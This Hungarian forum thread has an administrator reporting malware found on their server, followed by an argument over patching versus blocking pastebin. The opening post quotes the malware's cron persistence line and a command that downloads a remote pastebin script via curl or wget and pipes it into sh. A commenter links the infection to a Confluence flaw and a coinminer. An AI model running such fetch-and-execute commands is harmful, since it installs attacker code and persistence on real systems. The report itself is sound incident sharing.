Egyik szerveremen találtam.
Beleírja magát a cron-ba:
echo "*/15 * * * * (curl -fsSL https://pastebin.com/raw/HdjSc4JR||wget -q -O- https://pastebin.com/raw/HdjSc4JR)|sh" | crontab -
Majd ezt futtatva lehozza magát újra és újra:
(curl -fsSL https://pastebin.com/raw/xmxHzu5P||wget -q -O- https://pastebin.com/raw/xmxHzu5P)|sed -e 's/\r//g'|sh
Letölt ezt-azt, futtat ezt-azt.
- 1461 megtekintés
Hozzászólások
Corporate helyeken a tűzfal/szekjuriti device blokkolja a pastebin-t úgy ahogy van.
--
- A hozzászóláshoz be kell jelentkezni
Ami mondjuk hamis biztonságérzetet ad ugye, de védeni nem véd igazán, ellenben szopatja rendesen azokat, akik dolgoznának. :)
- A hozzászóláshoz be kell jelentkezni
+1
De gondolom a Corporate helyeken a random pwnolt wordpress oldalakra feltöltött hasonló scripteket is tiltják. :D
- A hozzászóláshoz be kell jelentkezni
Pont úgy, ahogy a Windows 10 frissítések.
Amúgy, mi akadályoz meg abban, hogy a szervereden saját pastebin-szerű szolgáltatást csinálj?
- A hozzászóláshoz be kell jelentkezni
"Pont úgy, ahogy a Windows 10 frissítések."
Bizony, pont úgy. A 2019. március 20-án közzétett (és javított) sebezhetőség kihasználásával jött be a tárgybeli malware/rootkit:
https://confluence.atlassian.com/doc/confluence-security-advisory-2019-…
Egyértelműen a frissítés hiánya okozta, amit nem végeztem el azonnal (vagy legkésőbb napokon belül) és akkor nem okozott volna most problémát.
"Amúgy, mi akadályoz meg abban, hogy a szervereden saját pastebin-szerű szolgáltatást csinálj?"
A Pastebin-hez annyi köze van, hogy éppen azt használja arra, hogy ezt a 4 kBájt mérető szkriptet tárolja, tárolhatná akárhol máshol is, akár ezen a portálon, akár a te lyukas gépeden. Megint sikerült beleszólnod olyan dologba, amihez nem értesz.
- A hozzászóláshoz be kell jelentkezni
Nem a Confluence frissítéseiről beszéltem, hanem a Windows 10 frissítéseiről.
Egyértelműen a frissítés hiánya okozta, amit nem végeztem el azonnal
Nem az okozta. Az okozta, hogy elhitted (és máig elhiszed), hogy elég időben megfrissíteni a rendszered és aztán teljes biztonságban van. Tehát, a biztonság hamis illúziójában ringattad magad. Aztán elfelejtetted időben megfrissíteni. Utóbbi az átka annak, ha az ember túlkényelmesíti magát és hozzászokik, hogy az operációs rendszer helyette (is) gondolkodik.
A Pastebines dolog onnan indult, hogy javasolták az oldal tiltását. Meg lennék lepve, ha ez lenne az első rootkit, ami Pastebint használ. Számos visszaélés és kártékony kód felkerült már oda. Nem véletlen erről szólt a legelső hozzászólás.
A gépem pedig nem nekem lyukas, hanem neked. Méghozzá azért, mert egységsugarú módon elhitted, hogy a lyukak száma a frissítésekkel nullára csökkenthető és más óvintézkedést eszed ágában nem volt tenni arra, hogy fűnek-fának ne legyen hozzáférése a szerveredhez.
A kérdés pedig továbbra is: Ha már saját Confluence-t üzemeltetsz, kidobva rengeteg pénzt egy bloated, jávában írt, hót lyukas szarra, mi akadályoz abban, hogy pastebin.com-hoz hasonló cuccot futtass a szervereden, miután a pastebin-t tiltólistára raktad?
- A hozzászóláshoz be kell jelentkezni
"Nem a Confluence frissítéseiről beszéltem, hanem a Windows 10 frissítéseiről."
Mégis mi különbség van a kettő között, ha kiderül egy critical remote exploit, amit csak frissítéssel tudsz javítani? Semmi. Javítani kell frissítéssel.
"Nem az okozta. Az okozta, hogy elhitted (és máig elhiszed), hogy elég időben megfrissíteni a rendszered és aztán teljes biztonságban van."
De, az okozta.
"Méghozzá azért, mert egységsugarú módon elhitted, hogy a lyukak száma a frissítésekkel nullára csökkenthető és más óvintézkedést eszed ágában nem volt tenni arra, hogy fűnek-fának ne legyen hozzáférése a szerveredhez."
Nem csökkenthető nullára, de nullát a legjobban megközelíteni csak rendszeres frissítéssel tudsz és azzal, hogy ha publikus lesz egy komoly sebezhetőség, akkor _azonnal_ frissítesz. Erre épül minden más védelem.
"Ha már saját Confluence-t üzemeltetsz, kidobva rengeteg pénzt egy bloated, jávában írt, hót lyukas szarra"
Hót lyukas szar a Windows XP-d. :)
"mi akadályoz abban, hogy pastebin.com-hoz hasonló cuccot futtass a szervereden, miután a pastebin-t tiltólistára raktad?"
Az, hogy mások nem fognak az én weboldalamra tenni a hasznos szkripteket, hanem a Pastebin-re fogják tenni. Nem látom értelmét kiönteni a gyereket a fürdővízzel együtt.
Az a helyzet, hogy a frissítéssel valóban megoldom a biztonsági problémát, a különféle oldalak tiltólistára rakosgatásával pedig csak foltoznám a szitán a lyukakat, felesleges munkát adnék magamnak, de a biztonsági problémát nem oldanám meg. Ha például valamilyen hülye ötlettől vezérelve tiltottam volna a Pastebin-t, akkor ugyanez a malware lejött volna a z9ls.com oldalról. Vagy a több ezer egyéb feltört VPS oldalról. Vagy akár a frissítés nélküli Windows XP gépedről. A tiltással semmit nem oldok meg, csak magamat szopatom.
A frissítés viszont a gyökerénél oldja meg a problémát, teljesen mindegy, hogy hol van a szkript, nem tud bejutni a szerverre.
- A hozzászóláshoz be kell jelentkezni
Mégis mi különbség van a kettő között, ha kiderül egy critical remote exploit, amit csak frissítéssel tudsz javítani? Semmi. Javítani kell frissítéssel.
Az, hogy a Windows 10 frissítések számos esetben akadályozzák átmenetileg a felhasználók munkáját a telepítéssel és az újraindítgatással. Sőt akadályozták már a számítógép bootolhatatlanná tételével is. Ez például a Confluence-re valószínűleg nem igaz. :)
De, az okozta.
Szerintem pedig nem. Persze, ettől még gondolhatod másképp.
Nem csökkenthető nullára, de nullát a legjobban megközelíteni csak rendszeres frissítéssel tudsz
Nem "csak". Más kérdés, ha a frissítés az egyetlen kényelmes módja. Akkor csakazértis ebben az illúzióban fogod magad ringatni, hogy ne kelljen biztonságos szervert és hálózatot építened.
Hót lyukas szar a Windows XP-d. :)
Nem. A Windows XP egy mai napig jól működő, hatékony, stabil, robusztus operációs rendszer, 14 év beleölt munkával, melyből 8 év fejlesztés, 5 év csak hibajavítás. Utóbbi mellé bevehetjük a +5 év POSReady 2009 frissítéseket is. Úgy összesen 10 év maintenance. A Windows XP-t a frissítések hiányának ellenére lehet biztonságosan használni, de kár lenne szervert kliens géphez hasonlítani.
Az, hogy mások nem fognak az én weboldalamra tenni a hasznos szkripteket, hanem a Pastebin-re fogják tenni.
Akkor a Confluence-edet miért használják?
A tiltással semmit nem oldok meg, csak magamat szopatom.
Én ezt biztonságtudatos szerveradminisztrációnak és üzemeltetésnek hívom. Te szopatásnak.
Vagy a több ezer egyéb feltört VPS oldalról. Vagy akár a frissítés nélküli Windows XP gépedről.
Amit szintén nyugodtan tiltólistára rakhatsz. A frissítés nélküli Windows XP gépemről pedig biztosan nem kapsz ilyet, mert én (veled ellentétben) foglalkozom annyit a biztonsággal (értsd: szopatom™ magam annyit), hogy tiszta maradjon a gépem.
A frissítés viszont a gyökerénél oldja meg a problémát, teljesen mindegy, hogy hol van a szkript, nem tud bejutni a szerverre.
Kivéve, ha a sebezhetőséget előbb fedezik fel hackerék, mint valami menő™ white-hat biztonsági szupercsapat™.
Hogy magamat idézzem: Frissítésektől biztonságot remélni olyan, mint divatos ruhákat golyóálló mellénynek használni.
Ettől persze még te élhetsz így.
- A hozzászóláshoz be kell jelentkezni
"Hogy magamat idézzem: Frissítésektől biztonságot remélni olyan, mint divatos ruhákat golyóálló mellénynek használni."
Tudod, a frissítés olyan, mint egy golyóálló üveg: mögötte mindegy, hogy mit viselsz, megfogja a golyót. Amit te csinálsz, az a kategória az, hogy majd a ruhád megfogja a golyót.
"A frissítés nélküli Windows XP gépemről pedig biztosan nem kapsz ilyet, mert én (veled ellentétben) foglalkozom annyit a biztonsággal (értsd: szopatom™ magam annyit), hogy tiszta maradjon a gépem."
Ez ellen például hogy védekezel?: https://www.cvedetails.com/cve/CVE-2017-8487/
- A hozzászóláshoz be kell jelentkezni
Tudod, a frissítés olyan, mint egy golyóálló üveg: mögötte mindegy, hogy mit viselsz, megfogja a golyót.
Nem fogja meg a golyót. Valójában a hót lyukacsos, golyóállónak hitt üvegen foltoz be nagyobb, tátongó lyukakat, amiket nem csak hackerék, de még a menő™ white-hat security huszárok is észrevettek.
Ez ellen például hogy védekezel?: https://www.cvedetails.com/cve/CVE-2017-8487/
Nagyon egyszerűen: Nem nyitom meg a specially crafted fájlt.
(Egyébként, ezt konkrétan javították POSReady 2009 javításokkal, tehát ha FUD paranoid lennék, áttérhetnék 32-bites XP-re és felrakhatnám. De ezt az opciót a kedvedért szándékosan nem vettem figyelembe.)
- A hozzászóláshoz be kell jelentkezni
Honnan tudod, hogy specially crafted az oldal, amit használsz?
Honnan tudod, hogy például az általad múltkor belinkelt http://www.cellphonetaskforce.org oldalra nem tettek ártalmas kódot? Vagy bármelyik másikra, amit épp találtál az internet bugyraiban?
Honnan tudod, hogy én nem linkeltem neked egy olyan oldalt, amin tudom, hogy van a számodra veszélyes malware?
- A hozzászóláshoz be kell jelentkezni
Nagyon egyszerűen: van két külön malware / attack site block list is a uBlock Origin-ben, amit használok, és ezáltal a kártékony kód le se jön a gépemre.
- A hozzászóláshoz be kell jelentkezni
És miért vagy biztos benne, hogy véd az előbb linkelt sebezhetőségekkel kapcsolatban?
- A hozzászóláshoz be kell jelentkezni
Mondanám, hogy azért, amiért te biztos vagy abban, hogy a frissítéseid után nem leszel törhető, más, általad nem ismert, plusz új featureökkel bekerült, vagy egyéb, white-hatek által fel nem fedezett sebezhetőségeken keresztül.
A válaszom erre az, hogy: Nem vagyok biztos benne. Viszont a malware listákra jóval egyszerűbb felvenni egy kártékony oldalt, mint kijavítani egy sebezhetőséget, tehát a frissítéseknél ez biztos, hogy gyorsabban és hatékonyabban véd.
Ismeretlen és gyanús oldalakat VirusTotallal le szoktam scanneltetni, ahogy egyes fájlokat is. A böngészőmet pedig mit ad Isten: frissítem, mert van 5 folyamatosan frissülő böngésző is XP-re. Frissítetlen böngészővel pedig csak megbízható oldalakat látogatok.
Ezeket összekombinálva már sokkal nagyobb biztonságban vagyok, mintha hátradőlnék és orrba-szájba tapicskolnék, a frissítések adta "biztonság" hamis illúziójában. Emellett készítek hetente, vagy két hetente backupot, továbbá nagyjából havonta ellenőrzöm a gépet friss definíciós adatbázissal rendelkező offline víruskeresővel, slave módban. A tények magukért beszélnek. Eddig soha nem kaptam se (zsaroló)vírust, se trójait, se rootkitet. Ha érne is baj ezek után, nagy baj biztosan nem érhet.
- A hozzászóláshoz be kell jelentkezni
Ahja. Ezt, amit művelsz, az orvoslásban tüneti kezelésnek hívják.
- A hozzászóláshoz be kell jelentkezni
Ezt kérlek szépen prevenciónak és elővigyázatosságnak hívják.
Tüneti kezelésnek azt hívják, amit épp te csináltál, hogy eső után köpönyeg alapon felrakod a frissítést a megtört rendszeredre, majd kézzel szarakodva irtod le a rootkitet. Mindeközben a rendszered biztonsága továbbra is kizárólag egyetlen rozoga pilléren imbolyog: a frissítéseken.
- A hozzászóláshoz be kell jelentkezni
Igazabol a kettonek egyutt van ertelme.
- A hozzászóláshoz be kell jelentkezni
Alapvetően ez a dolog úgy néz ki, hogy ha kiderül egy biztonsági hiba, akkor
0, kockázatelemzés, hogy mennyire sürgősek a teendők
1, workaround alkalmazása, ha van és használható
2, frissítés alkalmazása, amint elérhető
Minden más védelem ezután jön vagy ezektől amúgy teljesen független. A szitán lyukakat foltozni nem megoldás.
- A hozzászóláshoz be kell jelentkezni
Semmi, de nem is mennel sokra vele, mert a legtobb helyen explicit whitelist van, es minden tiltott, ami nem ismert/kategorizalt.
- A hozzászóláshoz be kell jelentkezni
biztos hasznos, jah, nem
// Happy debugging, suckers
#define true (rand() > 10)
- A hozzászóláshoz be kell jelentkezni
[Feliratkozás]
- A hozzászóláshoz be kell jelentkezni
De ki volt az aki először lefuttatta a curl/wget-et. És miért?
Update: bocsánat, megnéztem az egyik képet (jpeg?), amit töltöget a rootkit és a nod32 megfogta, ezzel: https://www.virusradar.com/en/Linux_CoinMiner/detail. Szóval ez lehetett egy kép is, ami be foglt ágyazva valami hirdetésbe... grrrr.
- A hozzászóláshoz be kell jelentkezni
Ez a gyökérok: https://confluence.atlassian.com/doc/confluence-security-advisory-2019-…
Gondolom mentek végig robottal és ahol régebbi verziójú Confluence volt, ott betolták a szkriptet a résen.
- A hozzászóláshoz be kell jelentkezni
root cause = kiváltó ok
root cause = probléma gyökere
root cause = alapvető ok
Vagy írd angolul, ha magyarul csak a Google Translate tükörfordított tech-zsargon megy.
- A hozzászóláshoz be kell jelentkezni
Ehhez kapcsolódva: többször észrevettem, hogy emberek szándékosan, félrefordított kifejezéseket használnak, mintha ki akarnának tünni, hogy na, ezt ők alkották vagy csak simán poénnak szánják, nem tudom, de elég zavaró szokott lenni.
Ilyen pl a "broken" (rossz, hibás) ill "breaks" (elrontja) helyett az eltört, eltöri, törte...
Persze lehet én komplikálom túl és tényleg csak simán az van amit te is írsz, hogy nem tudják mit jelent és a google ezt dobja ki nekik ;-)
- A hozzászóláshoz be kell jelentkezni
Egyszerűen az a helyzet, hogy több szakmai szótárban is gyökérok a magyarítása, nem én alkottam.
Lehet ez ellen lázadozni és eltartott kisujjal fejhangon nyünyögni, de ez honosodott meg.
- A hozzászóláshoz be kell jelentkezni
Maximum "ez a probléma gyökere", ami elég régi magyar kifejezés...
- A hozzászóláshoz be kell jelentkezni
Tenyleg hulyen hangzik, masfelol viszont erv helyett a fogalmazasba belekotni is eleg r=1 dolog ;)
- A hozzászóláshoz be kell jelentkezni